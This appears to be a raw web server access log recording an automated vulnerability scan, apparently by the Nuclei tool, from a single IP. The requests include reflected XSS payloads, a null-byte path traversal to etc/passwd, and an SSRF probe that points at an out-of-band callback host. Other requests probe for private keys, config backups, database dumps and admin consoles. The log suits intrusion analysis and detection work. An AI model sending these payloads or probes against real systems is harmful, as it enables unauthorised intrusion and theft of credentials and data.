[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue&state=1&per_id=0 HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ckeditor/samples/sample_posteddata.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/ext/https/getSessionList.jsp?cmd=getAll HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /frontend/web/debug/default/view HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /seeyon/personalBind.do.jpg/..;/ajax.do?method=ajaxAction&managerName=mMOneProfileManager&managerMethod=getOAProfile HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /26S0Y.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/diablomedia/zendframework1-http/tests/Zend/Http/Client/_files/testRedirections.php?redirection=3&param=<img/src=x%20onerror=alert(1)> HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /3.0/authService/config HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zimbraAdmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /versa/styles/img/versa-logo.png HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index/login.html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api-docs/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.tar HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /seeyon/thirdpartyController.do.css/..;/ajax.do HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zenphoto/zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc....4.2.1....json HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zentao/index.php?mode=getconfig HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ZMC_Admin_Login HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0 HTTP/1.1" 199
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?send=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-send%27%29%3E&attachment_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-attachment_id%27%29%3E&wp_screen_options=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-wp_screen_options%27%29%3E&page_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-page_id%27%29%3E&locale=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-locale%27%29%3E&function=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-function%27%29%3E&profile=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-profile%27%29%3E&day=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-day%27%29%3E&folder=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-folder%27%29%3E&mobile=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-mobile%27%29%3E&settings=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-settings%27%29%3E&comments=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-comments%27%29%3E&all=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-all%27%29%3E&menu=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-menu%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /zms/admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/altair/images/flip/ HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/error/sfdc_preauth.jsp?session=s&userid=1&server=http://d5g6sfahausljekepl20eqs59ppekbyco.oast.site%23.salesforce.com/ HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.inc HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?view=log HTTP/1.1" 3426
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zc_install/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /run HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DesktopModules/TNComments/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WS_FTP.LOG HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //linusadmin-phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/json/serverinfo/* HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/install/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/tenants HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "OPTIONS / HTTP/1.1" -
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /id_rsa_1024 HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/template/login.php?backurl=1%20onmouseover%3dalert(/document.domain/)%20y%3d HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-includes/ HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /plugins/ueditor/php/controller.php?action=catchimage&upfolder=1 HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/webuploader/js/webconfig.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /zabbix/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CyBORrrz6GAprPtUMhG7yZ7t.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //init.sh HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://ntp:22/ HTTP/1.1" 226
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zp/zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //mysqldump.sql HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /protected/data/database.db HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //query HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/debug/default/view HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //editor/ckeditor/samples/sample_posteddata.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //o.htm HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tests/Zend/Http/Client/_files/testRedirections.php?redirection=3&param=<img/src=x%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /versa/app/img/versa-logo.png HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.7z HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.json?FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zipkin/ HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api_docs HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zp/zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sapi/debug/default/view HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //startup.sh HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?uname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-uname%27%29%3E&command=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-command%27%29%3E&reverse=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-reverse%27%29%3E&cancel=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-cancel%27%29%3E&h=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-h%27%29%3E&logout=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-logout%27%29%3E&section=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-section%27%29%3E&gid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-gid%27%29%3E&input=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-input%27%29%3E&post_type=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post_type%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-page%27%29%3E&updated=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-updated%27%29%3E&charset=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-charset%27%29%3E&v=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-v%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //O.html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /protected/data/production.db HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.json?FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.old HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/altair/images/ HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application.ini HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "OPTIONS /api/v1 HTTP/1.1" -
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //php-info.php HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gallery/zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gallery/zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //mysql.sql HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /id_rsa_2048 HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/status HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zm/?view=log HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger.json HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
